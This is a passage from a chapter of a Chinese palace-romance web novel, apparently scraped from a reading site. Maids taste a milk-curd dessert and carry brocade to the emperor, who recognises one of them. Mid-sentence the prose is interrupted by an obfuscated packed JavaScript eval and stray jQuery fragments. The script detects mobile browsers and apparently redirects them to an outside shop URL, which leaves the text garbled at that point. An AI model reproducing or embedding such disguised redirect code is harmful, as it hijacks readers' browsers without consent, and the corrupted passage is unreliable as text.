2. 糖蒸酥酪
脂,表面光滑得能照见人影儿。

    上面还缀着三两粒糖桂花,金灿灿的碎星子般。

    温棉用白瓷勺轻轻舀起一勺,入口先是凉沁沁的,还不待反应便化成一滩水,化作一条线,坠进喉咙眼。

    奶香与醪糟香倏地在口中漫开。

    一碗酥酪并没有多少,三人各吃一勺,略尝尝味,那碗底便光可鉴人了。

    糕坨也是米香沁人,油香满嘴。

    三人一口点心饽饽一口茶,填饱从昨中午就饿了的肚子。

    荣儿长叹一声:“也不知万岁爷要吃个什么龙肝凤胆,这还叫做坏?放到外面,给人摆席面都够了。”

    小邓子道:“万岁爷就是要吃龙肝凤胆,又有什么不成?他老人家吃多了好东西,舌头自然刁,御膳房哪敢将次的送上去。”

    温棉回味着那碗糖蒸酥酪:“用羊奶做酥酪?确实有些膻气,也不怕,用杏仁或茉莉花和羊奶一起煮就成了。”

    小邓子吃惊道:“我的姐姐,你还懂这个?真是神了,我干爹也这么说,说御膳房的昏了头,没去羊奶膻气,哪天脖子离了缝就知道厉害了。”

    温棉自得道:“我只是爱吃罢了。”

    刚交午时,秋雨便停了。

    温棉和荣儿再不想当差也得起来。

    宫里除非病得起不来,否则必须上事儿,没人替你。

    两人忍着腿疼腿酸,一齐走到内务府。

    管事的曹公公一见她们,就吩咐下事来。

    “江宁织造刚进上的好料子,可别说我不想着你们,昨儿才受了委屈,今儿去主子跟前跑腿,主子一高兴,兴许就放赏呢。”

    温棉和荣儿应是,一人抱一个大托盘,上面是华贵非常的云锦。

    二人跟十来个宫女一齐,走在甬道上,湿答答的太阳照着绫罗绸缎,金线银线比光还闪。

    一行人一路走到乾清宫时,御辇刚好停在乾清门。

    今儿是御门听政的日子,皇帝才从太和门回来,走上御道时,便见底下两排二十个宫女,个个手里捧着大托盘,正在走老虎洞。

    温棉跟在队伍最后面,瞥见高高的御道上一个石青的身影。

    心中不禁感慨,当皇帝就是好,连路都单独开一条

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16815799|190873||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    ,比旁的路高,比旁的路宽,在上面飙车也不怕撞到人。

    昭炎帝进殿,由太监脱下全副常袍褂,解了吉服带,摘了常服冠。

    换了一身蓝绸的云龙暗纹常服袍,青缎棉褂,系上汉玉钩环黄线绦,手拿一顶缉珠如意帽出了寝殿。

    王来喜正招呼来送东西的宫女往后面走,打头看见皇帝,连忙请安:“万岁爷,江宁织造进上的料子,内务府让全给您送来瞧瞧。”

    抱着托盘的宫女齐刷刷跪下。

    昭炎帝便立在御阶上,扫过这些织金妆花的料子:“先给太后她老人家送去,让她老人家过目。”

    视线略过几端云锦时停了下来。

    这宫女不是昨晚腹诽他的那个吗?

    只见她站着微倾身,圆滚滚的乌黑发顶衬着雪白的面皮儿,两手端着托盘,粉白的指尖跟花枝似的。

    规矩

本章未完,请点击下一页继续阅读>>